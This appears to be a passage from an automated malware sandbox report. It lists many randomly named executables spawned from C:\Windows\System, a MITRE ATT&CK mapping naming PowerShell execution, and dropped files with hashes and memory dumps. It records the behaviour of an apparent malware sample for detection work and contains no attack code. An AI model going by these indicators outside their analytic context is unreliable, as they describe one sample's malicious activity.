- C:\Windows\System\hnUkXXw.exe
  C:\Windows\System\hnUkXXw.exe
  2⤵
  PID:14276
- C:\Windows\System\reFmSVs.exe
  C:\Windows\System\reFmSVs.exe
  2⤵
  PID:14296
- C:\Windows\System\eBRbvYo.exe
  C:\Windows\System\eBRbvYo.exe
  2⤵
  PID:14316
- C:\Windows\System\swHhGfU.exe
  C:\Windows\System\swHhGfU.exe
  2⤵
  PID:840
- C:\Windows\System\BJRxHWZ.exe
  C:\Windows\System\BJRxHWZ.exe
  2⤵
  PID:13340
- C:\Windows\System\SoycZWU.exe
  C:\Windows\System\SoycZWU.exe
  2⤵
  PID:13372
- C:\Windows\System\mvgxIWa.exe
  C:\Windows\System\mvgxIWa.exe
  2⤵
  PID:13404
- C:\Windows\System\QvQBElF.exe
  C:\Windows\System\QvQBElF.exe
  2⤵
  PID:13440
- C:\Windows\System\zeIdgzi.exe
  C:\Windows\System\zeIdgzi.exe
  2⤵
  PID:13476
- C:\Windows\System\MQqFhdr.exe
  C:\Windows\System\MQqFhdr.exe
  2⤵
  PID:13504
- C:\Windows\System\hZFSxsx.exe
  C:\Windows\System\hZFSxsx.exe
  2⤵
  PID:13544
- C:\Windows\System\bZbQXVi.exe
  C:\Windows\System\bZbQXVi.exe
  2⤵
  PID:13572
- C:\Windows\System\SaQaQFo.exe
  C:\Windows\System\SaQaQFo.exe
  2⤵
  PID:13604
- C:\Windows\System\elYOLoZ.exe
  C:\Windows\System\elYOLoZ.exe
  2⤵
  PID:13632
- C:\Windows\System\OTnMVer.exe
  C:\Windows\System\OTnMVer.exe
  2⤵
  PID:13672
- C:\Windows\System\eNpBsBc.exe
  C:\Windows\System\eNpBsBc.exe
  2⤵
  PID:13752
- C:\Windows\System\JglTMZW.exe
  C:\Windows\System\JglTMZW.exe
  2⤵
  PID:13788
- C:\Windows\System\XSTeeqW.exe
  C:\Windows\System\XSTeeqW.exe
  2⤵
  PID:13808
- C:\Windows\System\mCVDqtJ.exe
  C:\Windows\System\mCVDqtJ.exe
  2⤵
  PID:13860
- C:\Windows\System\cxnopBN.exe
  C:\Windows\System\cxnopBN.exe
  2⤵
  PID:13888
- C:\Windows\System\fyqWauW.exe
  C:\Windows\System\fyqWauW.exe
  2⤵
  PID:13920
- C:\Windows\System\aJqhctP.exe
  C:\Windows\System\aJqhctP.exe
  2⤵
  PID:13948
- C:\Windows\System\lfYbUhi.exe
  C:\Windows\System\lfYbUhi.exe
  2⤵
  PID:13984
- C:\Windows\System\NUlznYb.exe
  C:\Windows\System\NUlznYb.exe
  2⤵
  PID:14024
- C:\Windows\System\yNCbFIc.exe
  C:\Windows\System\yNCbFIc.exe
  2⤵
  PID:14052
- C:\Windows\System\FPcGlXZ.exe
  C:\Windows\System\FPcGlXZ.exe
  2⤵
  PID:14088
- C:\Windows\System\gsvtNzm.exe
  C:\Windows\System\gsvtNzm.exe
  2⤵
  PID:14124
- C:\Windows\System\avMWmVg.exe
  C:\Windows\System\avMWmVg.exe
  2⤵
  PID:14152
- C:\Windows\System\SOmqmLJ.exe
  C:\Windows\System\SOmqmLJ.exe
  2⤵
  PID:14192
- C:\Windows\System\DcBHdNA.exe
  C:\Windows\System\DcBHdNA.exe
  2⤵
  PID:14228
- C:\Windows\System\YrxFXEf.exe
  C:\Windows\System\YrxFXEf.exe
  2⤵
  PID:14264
- C:\Windows\System\vHctZLe.exe
  C:\Windows\System\vHctZLe.exe
  2⤵
  PID:14292
- C:\Windows\System\QgDkBub.exe
  C:\Windows\System\QgDkBub.exe
  2⤵
  PID:14332
- C:\Windows\System\TABCwij.exe
  C:\Windows\System\TABCwij.exe
  2⤵
  PID:13352
- C:\Windows\System\WsOVPZZ.exe
  C:\Windows\System\WsOVPZZ.exe
  2⤵
  PID:13420
- C:\Windows\System\iCkjJAa.exe
  C:\Windows\System\iCkjJAa.exe
  2⤵
  PID:13464
- C:\Windows\System\ROHiJIZ.exe
  C:\Windows\System\ROHiJIZ.exe
  2⤵
  PID:13524
- C:\Windows\System\cqhvDzt.exe
  C:\Windows\System\cqhvDzt.exe
  2⤵
  PID:13588
- C:\Windows\System\dSRCsAO.exe
  C:\Windows\System\dSRCsAO.exe
  2⤵
  PID:13628
- C:\Windows\System\ECIcyjZ.exe
  C:\Windows\System\ECIcyjZ.exe
  2⤵
  PID:13692
- C:\Windows\System\qPyAPjn.exe
  C:\Windows\System\qPyAPjn.exe
  2⤵
  PID:13804
- C:\Windows\System\avwxDnQ.exe
  C:\Windows\System\avwxDnQ.exe
  2⤵
  PID:13848
- C:\Windows\System\FzBYsWB.exe
  C:\Windows\System\FzBYsWB.exe
  2⤵
  PID:13528
- C:\Windows\System\YKANrCb.exe
  C:\Windows\System\YKANrCb.exe
  2⤵
  PID:13960
- C:\Windows\System\SGozNQD.exe
  C:\Windows\System\SGozNQD.exe
  2⤵
  PID:14008
- C:\Windows\System\iMtvtiS.exe
  C:\Windows\System\iMtvtiS.exe
  2⤵
  PID:14068
- C:\Windows\System\ZdYuwQt.exe
  C:\Windows\System\ZdYuwQt.exe
  2⤵
  PID:14112
- C:\Windows\System\AhayELc.exe
  C:\Windows\System\AhayELc.exe
  2⤵
  PID:14172
- C:\Windows\System\mBGGxvr.exe
  C:\Windows\System\mBGGxvr.exe
  2⤵
  PID:14212
- C:\Windows\System\HpNIaTk.exe
  C:\Windows\System\HpNIaTk.exe
  2⤵
  PID:14272
- C:\Windows\System\qXVnEhh.exe
  C:\Windows\System\qXVnEhh.exe
  2⤵
  PID:14184
- C:\Windows\System\GQKJXUK.exe
  C:\Windows\System\GQKJXUK.exe
  2⤵
  PID:14328
- C:\Windows\System\yLtmcQQ.exe
  C:\Windows\System\yLtmcQQ.exe
  2⤵
  PID:13396
- C:\Windows\System\UapBgqc.exe
  C:\Windows\System\UapBgqc.exe
  2⤵
  PID:13500
- C:\Windows\System\Zsbtwao.exe
  C:\Windows\System\Zsbtwao.exe
  2⤵
  PID:13592
- C:\Windows\System\JhkSpyy.exe
  C:\Windows\System\JhkSpyy.exe
  2⤵
  PID:13764
- C:\Windows\System\jteIsdz.exe
  C:\Windows\System\jteIsdz.exe
  2⤵
  PID:13844
- C:\Windows\System\zRsryGt.exe
  C:\Windows\System\zRsryGt.exe
  2⤵
  PID:13940
- C:\Windows\System\nuxHVSY.exe
  C:\Windows\System\nuxHVSY.exe
  2⤵
  PID:14032
- C:\Windows\System\bCyDItf.exe
  C:\Windows\System\bCyDItf.exe
  2⤵
  PID:14108
- C:\Windows\System\gTmnebQ.exe
  C:\Windows\System\gTmnebQ.exe
  2⤵
  PID:14188
- C:\Windows\System\hORuGco.exe
  C:\Windows\System\hORuGco.exe
  2⤵
  PID:14288
- C:\Windows\System\pmNjqFc.exe
  C:\Windows\System\pmNjqFc.exe
  2⤵
  PID:13320
- C:\Windows\System\bZpyFlv.exe
  C:\Windows\System\bZpyFlv.exe
  2⤵
  PID:13456
- C:\Windows\System\eHanbnU.exe
  C:\Windows\System\eHanbnU.exe
  2⤵
  PID:13568
- C:\Windows\System\cejkmsb.exe
  C:\Windows\System\cejkmsb.exe
  2⤵
  PID:13824
- C:\Windows\System\UzXOtHn.exe
  C:\Windows\System\UzXOtHn.exe
  2⤵
  PID:13980
- C:\Windows\System\gwbypoY.exe
  C:\Windows\System\gwbypoY.exe
  2⤵
  PID:14104
- C:\Windows\System\krQDpEm.exe
  C:\Windows\System\krQDpEm.exe
  2⤵
  PID:14252
- C:\Windows\System\FKJJhto.exe
  C:\Windows\System\FKJJhto.exe
  2⤵
  PID:2120
- C:\Windows\System\sdUcmgh.exe
  C:\Windows\System\sdUcmgh.exe
  2⤵
  PID:13652
- C:\Windows\System\TNpdRxC.exe
  C:\Windows\System\TNpdRxC.exe
  2⤵
  PID:13928
- C:\Windows\System\BQpaDFR.exe
  C:\Windows\System\BQpaDFR.exe
  2⤵
  PID:14168
- C:\Windows\System\xDjYPVD.exe
  C:\Windows\System\xDjYPVD.exe
  2⤵
  PID:13360
- C:\Windows\System\jgPgttY.exe
  C:\Windows\System\jgPgttY.exe
  2⤵
  PID:13904
- C:\Windows\System\cmDBmAa.exe
  C:\Windows\System\cmDBmAa.exe
  2⤵
  PID:14312
- C:\Windows\System\OEMVuvo.exe
  C:\Windows\System\OEMVuvo.exe
  2⤵
  PID:440
- C:\Windows\System\DiQVfSG.exe
  C:\Windows\System\DiQVfSG.exe
  2⤵
  PID:13552
- C:\Windows\System\sNuTKOI.exe
  C:\Windows\System\sNuTKOI.exe
  2⤵
  PID:14248
- C:\Windows\System\hYPIrHN.exe
  C:\Windows\System\hYPIrHN.exe
  2⤵
  PID:13784
- C:\Windows\System\rTdmFDn.exe
  C:\Windows\System\rTdmFDn.exe
  2⤵
  PID:14352
- C:\Windows\System\ZcnmIGc.exe
  C:\Windows\System\ZcnmIGc.exe
  2⤵
  PID:14372
- C:\Windows\System\FClcedD.exe
  C:\Windows\System\FClcedD.exe
  2⤵
  PID:14392
- C:\Windows\System\gJwllZz.exe
  C:\Windows\System\gJwllZz.exe
  2⤵
  PID:14412
- C:\Windows\System\uCRdIvA.exe
  C:\Windows\System\uCRdIvA.exe
  2⤵
  PID:14432
- C:\Windows\System\GjLJZmJ.exe
  C:\Windows\System\GjLJZmJ.exe
  2⤵
  PID:14456
- C:\Windows\System\yIxAWMx.exe
  C:\Windows\System\yIxAWMx.exe
  2⤵
  PID:14476
- C:\Windows\System\TWqzMis.exe
  C:\Windows\System\TWqzMis.exe
  2⤵
  PID:14496
- C:\Windows\System\ZPyBiax.exe
  C:\Windows\System\ZPyBiax.exe
  2⤵
  PID:14516
- C:\Windows\System\jkIURkw.exe
  C:\Windows\System\jkIURkw.exe
  2⤵
  PID:14536
- C:\Windows\System\tEKUVTj.exe
  C:\Windows\System\tEKUVTj.exe
  2⤵
  PID:14556
- C:\Windows\System\WqIyotq.exe
  C:\Windows\System\WqIyotq.exe
  2⤵
  PID:14576
- C:\Windows\System\bKUHZiX.exe
  C:\Windows\System\bKUHZiX.exe
  2⤵
  PID:14596
- C:\Windows\System\tpkPnnM.exe
  C:\Windows\System\tpkPnnM.exe
  2⤵
  PID:14616
- C:\Windows\System\ILjuedY.exe
  C:\Windows\System\ILjuedY.exe
  2⤵
  PID:14636
- C:\Windows\System\LQNwGbD.exe
  C:\Windows\System\LQNwGbD.exe
  2⤵
  PID:14656
- C:\Windows\System\ntlBxQV.exe
  C:\Windows\System\ntlBxQV.exe
  2⤵
  PID:14676
- C:\Windows\System\UGZvlVp.exe
  C:\Windows\System\UGZvlVp.exe
  2⤵
  PID:14700
- C:\Windows\System\AcCvKOH.exe
  C:\Windows\System\AcCvKOH.exe
  2⤵
  PID:14720
- C:\Windows\System\XHcJPId.exe
  C:\Windows\System\XHcJPId.exe
  2⤵
  PID:14744
- C:\Windows\System\GRJExfH.exe
  C:\Windows\System\GRJExfH.exe
  2⤵
  PID:14764
- C:\Windows\System\mJKRTYE.exe
  C:\Windows\System\mJKRTYE.exe
  2⤵
  PID:14784
- C:\Windows\System\DrBlETh.exe
  C:\Windows\System\DrBlETh.exe
  2⤵
  PID:14804
- C:\Windows\System\GBHzgvR.exe
  C:\Windows\System\GBHzgvR.exe
  2⤵
  PID:14824
- C:\Windows\System\NISxgCC.exe
  C:\Windows\System\NISxgCC.exe
  2⤵
  PID:14844
- C:\Windows\System\AxhZDLE.exe
  C:\Windows\System\AxhZDLE.exe
  2⤵
  PID:14864
- C:\Windows\System\QWnzuol.exe
  C:\Windows\System\QWnzuol.exe
  2⤵
  PID:14884
- C:\Windows\System\RKeBvFP.exe
  C:\Windows\System\RKeBvFP.exe
  2⤵
  PID:14904
- C:\Windows\System\OiCcDCG.exe
  C:\Windows\System\OiCcDCG.exe
  2⤵
  PID:14924
- C:\Windows\System\ovYOipT.exe
  C:\Windows\System\ovYOipT.exe
  2⤵
  PID:14944
- C:\Windows\System\lcoXrCA.exe
  C:\Windows\System\lcoXrCA.exe
  2⤵
  PID:14968
- C:\Windows\System\YHryxCX.exe
  C:\Windows\System\YHryxCX.exe
  2⤵
  PID:14988
- C:\Windows\System\SqqLZDy.exe
  C:\Windows\System\SqqLZDy.exe
  2⤵
  PID:15008
- C:\Windows\System\oJvnnCw.exe
  C:\Windows\System\oJvnnCw.exe
  2⤵
  PID:15028
- C:\Windows\System\kZLOHrF.exe
  C:\Windows\System\kZLOHrF.exe
  2⤵
  PID:15048
- C:\Windows\System\MFPniea.exe
  C:\Windows\System\MFPniea.exe
  2⤵
  PID:15068
- C:\Windows\System\DTMSVmj.exe
  C:\Windows\System\DTMSVmj.exe
  2⤵
  PID:15088
- C:\Windows\System\FwDvQhs.exe
  C:\Windows\System\FwDvQhs.exe
  2⤵
  PID:15108
- C:\Windows\System\aYbyLiv.exe
  C:\Windows\System\aYbyLiv.exe
  2⤵
  PID:15128
- C:\Windows\System\yJjpZYS.exe
  C:\Windows\System\yJjpZYS.exe
  2⤵
  PID:15148
- C:\Windows\System\qCZFrmw.exe
  C:\Windows\System\qCZFrmw.exe
  2⤵
  PID:15168
- C:\Windows\System\KbEqTgI.exe
  C:\Windows\System\KbEqTgI.exe
  2⤵
  PID:15192
- C:\Windows\System\qKQnbfq.exe
  C:\Windows\System\qKQnbfq.exe
  2⤵
  PID:15212
- C:\Windows\System\vQJGHxo.exe
  C:\Windows\System\vQJGHxo.exe
  2⤵
  PID:15232
- C:\Windows\System\cFmrKpx.exe
  C:\Windows\System\cFmrKpx.exe
  2⤵
  PID:15252
- C:\Windows\System\DOGRyOY.exe
  C:\Windows\System\DOGRyOY.exe
  2⤵
  PID:15272
- C:\Windows\System\IokaMjf.exe
  C:\Windows\System\IokaMjf.exe
  2⤵
  PID:15292
- C:\Windows\System\oemNMmR.exe
  C:\Windows\System\oemNMmR.exe
  2⤵
  PID:15312
- C:\Windows\System\AatWaPD.exe
  C:\Windows\System\AatWaPD.exe
  2⤵
  PID:15332
- C:\Windows\System\wWcHjdk.exe
  C:\Windows\System\wWcHjdk.exe
  2⤵
  PID:15352
- C:\Windows\System\VEoegzD.exe
  C:\Windows\System\VEoegzD.exe
  2⤵
  PID:14360
- C:\Windows\System\MPQVjOo.exe
  C:\Windows\System\MPQVjOo.exe
  2⤵
  PID:14388
- C:\Windows\System\CGmdosF.exe
  C:\Windows\System\CGmdosF.exe
  2⤵
  PID:14420
- C:\Windows\System\BqzIsEU.exe
  C:\Windows\System\BqzIsEU.exe
  2⤵
  PID:13696
- C:\Windows\System\jRraSvz.exe
  C:\Windows\System\jRraSvz.exe
  2⤵
  PID:14472
- C:\Windows\System\xvaqLjV.exe
  C:\Windows\System\xvaqLjV.exe
  2⤵
  PID:14508
- C:\Windows\System\cnUfhok.exe
  C:\Windows\System\cnUfhok.exe
  2⤵
  PID:14544
- C:\Windows\System\UqBAZSw.exe
  C:\Windows\System\UqBAZSw.exe
  2⤵
  PID:14572
- C:\Windows\System\PiNoRMV.exe
  C:\Windows\System\PiNoRMV.exe
  2⤵
  PID:14608
- C:\Windows\System\mloVwvy.exe
  C:\Windows\System\mloVwvy.exe
  2⤵
  PID:14644
- C:\Windows\System\WaBVJbp.exe
  C:\Windows\System\WaBVJbp.exe
  2⤵
  PID:14668
- C:\Windows\System\UQSvahu.exe
  C:\Windows\System\UQSvahu.exe
  2⤵
  PID:14696
- C:\Windows\System\aSjCgLZ.exe
  C:\Windows\System\aSjCgLZ.exe
  2⤵
  PID:14732
- C:\Windows\System\HnzRWwd.exe
  C:\Windows\System\HnzRWwd.exe
  2⤵
  PID:14772
- C:\Windows\System\ZhtFUJQ.exe
  C:\Windows\System\ZhtFUJQ.exe
  2⤵
  PID:14800
- C:\Windows\System\taKPJQs.exe
  C:\Windows\System\taKPJQs.exe
  2⤵
  PID:14836
- C:\Windows\System\iFhuJKy.exe
  C:\Windows\System\iFhuJKy.exe
  2⤵
  PID:2736
- C:\Windows\System\QwjgQoB.exe
  C:\Windows\System\QwjgQoB.exe
  2⤵
  PID:14896
- C:\Windows\System\YOwhfWM.exe
  C:\Windows\System\YOwhfWM.exe
  2⤵
  PID:14920
- C:\Windows\System\uSeBYzD.exe
  C:\Windows\System\uSeBYzD.exe
  2⤵
  PID:14956
- C:\Windows\System\cGgtCQU.exe
  C:\Windows\System\cGgtCQU.exe
  2⤵
  PID:14996
- C:\Windows\System\PbPJdXA.exe
  C:\Windows\System\PbPJdXA.exe
  2⤵
  PID:15024
- C:\Windows\System\RTfaijP.exe
  C:\Windows\System\RTfaijP.exe
  2⤵
  PID:15060
- C:\Windows\System\fqsTtvJ.exe
  C:\Windows\System\fqsTtvJ.exe
  2⤵
  PID:15096
- C:\Windows\System\dMxVZSV.exe
  C:\Windows\System\dMxVZSV.exe
  2⤵
  PID:15124
- C:\Windows\System\nsplldf.exe
  C:\Windows\System\nsplldf.exe
  2⤵
  PID:15156
- C:\Windows\System\njiVxHq.exe
  C:\Windows\System\njiVxHq.exe
  2⤵
  PID:15180
- C:\Windows\System\ggcqrpL.exe
  C:\Windows\System\ggcqrpL.exe
  2⤵
  PID:15220
- C:\Windows\System\xBTXjhl.exe
  C:\Windows\System\xBTXjhl.exe
  2⤵
  PID:15248
- C:\Windows\System\CigkUut.exe
  C:\Windows\System\CigkUut.exe
  2⤵
  PID:15288
- C:\Windows\System\cZlpvyd.exe
  C:\Windows\System\cZlpvyd.exe
  2⤵
  PID:15324
- C:\Windows\System\jwIUipB.exe
  C:\Windows\System\jwIUipB.exe
  2⤵
  PID:15348
- C:\Windows\System\wAFZtey.exe
  C:\Windows\System\wAFZtey.exe
  2⤵
  PID:1232
- C:\Windows\System\SLKnxYW.exe
  C:\Windows\System\SLKnxYW.exe
  2⤵
  PID:14408
- C:\Windows\System\pEzjKAv.exe
  C:\Windows\System\pEzjKAv.exe
  2⤵
  PID:14464
- C:\Windows\System\cWgWNtp.exe
  C:\Windows\System\cWgWNtp.exe
  2⤵
  PID:14524
- C:\Windows\System\iaiuKaz.exe
  C:\Windows\System\iaiuKaz.exe
  2⤵
  PID:14568
- C:\Windows\System\gJKzOYe.exe
  C:\Windows\System\gJKzOYe.exe
  2⤵
  PID:14628
- C:\Windows\System\sTEorkM.exe
  C:\Windows\System\sTEorkM.exe
  2⤵
  PID:14684
- C:\Windows\System\sEiJzCy.exe
  C:\Windows\System\sEiJzCy.exe
  2⤵
  PID:14084
- C:\Windows\System\iFVXpcr.exe
  C:\Windows\System\iFVXpcr.exe
  2⤵
  PID:14780
- C:\Windows\System\XwqBSkb.exe
  C:\Windows\System\XwqBSkb.exe
  2⤵
  PID:14832
- C:\Windows\System\BKsnWhq.exe
  C:\Windows\System\BKsnWhq.exe
  2⤵
  PID:14880
- C:\Windows\System\qNVMGQA.exe
  C:\Windows\System\qNVMGQA.exe
  2⤵
  PID:14936
- C:\Windows\System\WyiTZlP.exe
  C:\Windows\System\WyiTZlP.exe
  2⤵
  PID:14984
- C:\Windows\System\vSAAzQf.exe
  C:\Windows\System\vSAAzQf.exe
  2⤵
  PID:15044
- C:\Windows\System\yRjnQTV.exe
  C:\Windows\System\yRjnQTV.exe
  2⤵
  PID:15104
- C:\Windows\System\stICabu.exe
  C:\Windows\System\stICabu.exe
  2⤵
  PID:14960
- C:\Windows\System\VLQjnIb.exe
  C:\Windows\System\VLQjnIb.exe
  2⤵
  PID:15204
- C:\Windows\System\TlzAUMK.exe
  C:\Windows\System\TlzAUMK.exe
  2⤵
  PID:15264
- C:\Windows\System\ZvSqSfw.exe
  C:\Windows\System\ZvSqSfw.exe
  2⤵
  PID:15320
- C:\Windows\System\HlbcLYs.exe
  C:\Windows\System\HlbcLYs.exe
  2⤵
  PID:14348
- C:\Windows\System\oqIiceK.exe
  C:\Windows\System\oqIiceK.exe
  2⤵
  PID:13700
- C:\Windows\System\yBFhyUY.exe
  C:\Windows\System\yBFhyUY.exe
  2⤵
  PID:14492
- C:\Windows\System\rSZJswm.exe
  C:\Windows\System\rSZJswm.exe
  2⤵
  PID:14592
- C:\Windows\System\QlIliUF.exe
  C:\Windows\System\QlIliUF.exe
  2⤵
  PID:14652
- C:\Windows\System\HKWsibt.exe
  C:\Windows\System\HKWsibt.exe
  2⤵
  PID:14716
- C:\Windows\System\wxRpaJl.exe
  C:\Windows\System\wxRpaJl.exe
  2⤵
  PID:14816
- C:\Windows\System\IfyXmZD.exe
  C:\Windows\System\IfyXmZD.exe
  2⤵
  PID:14900
- C:\Windows\System\yYBIPgf.exe
  C:\Windows\System\yYBIPgf.exe
  2⤵
  PID:14980
- C:\Windows\System\DfZYtyq.exe
  C:\Windows\System\DfZYtyq.exe
  2⤵
  PID:15076
- C:\Windows\System\dYZlUqI.exe
  C:\Windows\System\dYZlUqI.exe
  2⤵
  PID:15144
- C:\Windows\System\niGrnzx.exe
  C:\Windows\System\niGrnzx.exe
  2⤵
  PID:15240
- C:\Windows\System\uyxHYtr.exe
  C:\Windows\System\uyxHYtr.exe
  2⤵
  PID:15344
- C:\Windows\System\tqVTvOl.exe
  C:\Windows\System\tqVTvOl.exe
  2⤵
  PID:14444
- C:\Windows\System\xMzkcgY.exe
  C:\Windows\System\xMzkcgY.exe
  2⤵
  PID:14564
- C:\Windows\System\CtvlYyN.exe
  C:\Windows\System\CtvlYyN.exe
  2⤵
  PID:14452
- C:\Windows\System\SNqflHw.exe
  C:\Windows\System\SNqflHw.exe
  2⤵
  PID:14852
- C:\Windows\System\Wvqvmmx.exe
  C:\Windows\System\Wvqvmmx.exe
  2⤵
  PID:14976
- C:\Windows\System\qoasZUp.exe
  C:\Windows\System\qoasZUp.exe
  2⤵
  PID:15084
- C:\Windows\System\AZdqarW.exe
  C:\Windows\System\AZdqarW.exe
  2⤵
  PID:15228
- C:\Windows\System\FhRFzKS.exe
  C:\Windows\System\FhRFzKS.exe
  2⤵
  PID:14404
- C:\Windows\System\KBWQiFw.exe
  C:\Windows\System\KBWQiFw.exe
  2⤵
  PID:14648
- C:\Windows\System\QKWkseG.exe
  C:\Windows\System\QKWkseG.exe
  2⤵
  PID:2012
- C:\Windows\System\UokyIiI.exe
  C:\Windows\System\UokyIiI.exe
  2⤵
  PID:15040
- C:\Windows\System\jVJULUf.exe
  C:\Windows\System\jVJULUf.exe
  2⤵
  PID:15308
- C:\Windows\System\KhxDdrS.exe
  C:\Windows\System\KhxDdrS.exe
  2⤵
  PID:14624
- C:\Windows\System\jCsDbPB.exe
  C:\Windows\System\jCsDbPB.exe
  2⤵
  PID:15140
- C:\Windows\System\glQuOLB.exe
  C:\Windows\System\glQuOLB.exe
  2⤵
  PID:14488
- C:\Windows\System\kcNVIAB.exe
  C:\Windows\System\kcNVIAB.exe
  2⤵
  PID:14952
- C:\Windows\System\zRUdeZW.exe
  C:\Windows\System\zRUdeZW.exe
  2⤵
  PID:14760
- C:\Windows\System\FQHHZwT.exe
  C:\Windows\System\FQHHZwT.exe
  2⤵
  PID:15340
- C:\Windows\System\EKfOPQK.exe
  C:\Windows\System\EKfOPQK.exe
  2⤵
  PID:1192
- C:\Windows\System\icyzmkY.exe
  C:\Windows\System\icyzmkY.exe
  2⤵
  PID:15304
- C:\Windows\System\HfMhNgD.exe
  C:\Windows\System\HfMhNgD.exe
  2⤵
  PID:15376
- C:\Windows\System\apLQyqw.exe
  C:\Windows\System\apLQyqw.exe
  2⤵
  PID:15396
- C:\Windows\System\OSiakxc.exe
  C:\Windows\System\OSiakxc.exe
  2⤵
  PID:15416
- C:\Windows\System\bYEIOYz.exe
  C:\Windows\System\bYEIOYz.exe
  2⤵
  PID:15436
- C:\Windows\System\wMjvmXt.exe
  C:\Windows\System\wMjvmXt.exe
  2⤵
  PID:15456
- C:\Windows\System\wPUrRew.exe
  C:\Windows\System\wPUrRew.exe
  2⤵
  PID:15476
- C:\Windows\System\GfctxGE.exe
  C:\Windows\System\GfctxGE.exe
  2⤵
  PID:15496
- C:\Windows\System\nuicWrn.exe
  C:\Windows\System\nuicWrn.exe
  2⤵
  PID:15516
- C:\Windows\System\yRlOPii.exe
  C:\Windows\System\yRlOPii.exe
  2⤵
  PID:15536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BqJAKaR.exe

Filesize
2.8MB

MD5
f3aee29f44df7812c4465933b8e89a90

SHA1
00a29745e4f797ecf7a97bb4262621ff439be6d1

SHA256
7db3617ab30a1f4b2927e70c61023b6dbe2e870c3db3dbe88783e4da5e959b0c

SHA512
7f8a6a6511b63dc4c9504e8ec78bddf63aeafe40adcb26b646c045165b082a218a045bb9b7fef7fd1945e21db049c92d209734eb879b1df82a1c285a15d228ed

Download Submit
C:\Windows\system\HQLsQnw.exe

Filesize
8B

MD5
30a9dfceb37577cb23b97b50ee0ca790

SHA1
b56360a546aafbfa7ce003cd05916a7ab7239259

SHA256
44dda0d0cfe87b066fcb3ae3e2b0cbc86f86ca0fdd14c7ce736c7a63fedce1f4

SHA512
f1ae1743e6029aabc9e7387b476be46b30f000874bca6e0907b605cfb329a40abfc7d4eb3d891027c469be0356b370267e0531be7c50ab8183a5aad8ce1cbe57

Download Submit
C:\Windows\system\VXKmUoQ.exe

Filesize
2.3MB

MD5
638607ebffe175b3eac22a9ad5420a2a

SHA1
11de948a4469653db3eb583238d125a04c1979f6

SHA256
0635b5a9a5f1ffca161a7bb9e41635e71315682353bd4cd3773f7d1fdbb8fb41

SHA512
2641eb66f0a87a5761122bc20daecc830e5b93c7c2c7db458e3ffdb44c0907e64801f465fe1468984008bb334699248635e33dd2f5617c43e74487086ce4ea73

Download Submit
C:\Windows\system\ckRUXCS.exe

Filesize
1.2MB

MD5
63996e8fa9213dc4223dc163983de700

SHA1
478ab95d32c139a8bf608d3c3fbe3565bebaa36f

SHA256
a47646ed0549429179988d2667dea27177d60df2c3a172cfd71129d3e0ad1255

SHA512
683938b5fb510c9defb1fb04d6af76162624b4675b9724ae0286cdce4110287e33d934bde43353aaae012d7aa52cdad759c1da4e2a2b062671d57229cac09e06

Download Submit
\Windows\system\UDLITJU.exe

Filesize
2.5MB

MD5
42a94859f8da1762abae272c7ffb8dda

SHA1
9769fb0cf064b1c75383b6b478d966951a5b4d6f

SHA256
f298d72985a6318ca2022d702e2a24c684886417b09affaefe2a613bc3da0665

SHA512
978ac14918817b139419cbd3a46b3e89e265d774a9a0181299f463f1b7e8658ccef59b8a08e58324aff0f7847eafe6d0f8de1f8fee70ff205e7d447775fe9c58

Download Submit
\Windows\system\UIdUnTM.exe

Filesize
3.2MB

MD5
87049a56dc688e35480d7d397bc623bc

SHA1
1ada03bb493bf63a1609782a3779d3b4a34abeaa

SHA256
9b2ba3e1baa1380886dd6b6623dd622bd06fc8b10012d0c27baef9a4b71f2a40

SHA512
84f693d340177775e4f0c331798a9c54dd9807336db7076494a19259e2bc9b22524fa1639a321773b3b010328171ce817cf3c4058cb5b973e4d8cac51c42942d

Download Submit
\Windows\system\jAlKFsz.exe

Filesize
3.3MB

MD5
b659caed5f9771bfaac9b6f9bc154ae6

SHA1
91b4484939c443f39ba7fa360585ef4240305288

SHA256
1cdd56217fb7385a5ab4da0c20a7fc56da54ff80f12cc0d2195c24cf75069e4b

SHA512
795360372b8ce366f1462aa0d986e2b7823d276625ce09c0a480a6a161e269128c532f6caf6f043084d9eb57b71ca8bc62325c14c4054a04b56ca555c2e7328d

Download Submit
memory/1368-3871-0x00000000036D0000-0x0000000003AC6000-memory.dmp

Filesize
4.0MB

Download
memory/1368-3205-0x000000013FDD0000-0x00000001401C6000-memory.dmp

Filesize
4.0MB

Download
memory/1368-53-0x0000000003070000-0x0000000003466000-memory.dmp

Filesize
4.0MB

Download
memory/1368-133-0x000000013F170000-0x000000013F566000-memory.dmp

Filesize
4.0MB

Download
memory/1368-145-0x00000000036D0000-0x0000000003AC6000-memory.dmp

Filesize
4.0MB

Download
memory/1368-148-0x00000000036D0000-0x0000000003AC6000-memory.dmp

Filesize
4.0MB

Download
memory/1856-156-0x000000013FAC0000-0x000000013FEB6000-memory.dmp

Filesize
4.0MB

Download
memory/1856-4198-0x000000013FAC0000-0x000000013FEB6000-memory.dmp

Filesize
4.0MB

Download
memory/2704-34-0x000000013FE50000-0x0000000140246000-memory.dmp

Filesize
4.0MB

Download
memory/2780-25-0x000000013FAC0000-0x000000013FEB6000-memory.dmp

Filesize
4.0MB

Download
memory/2944-38-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download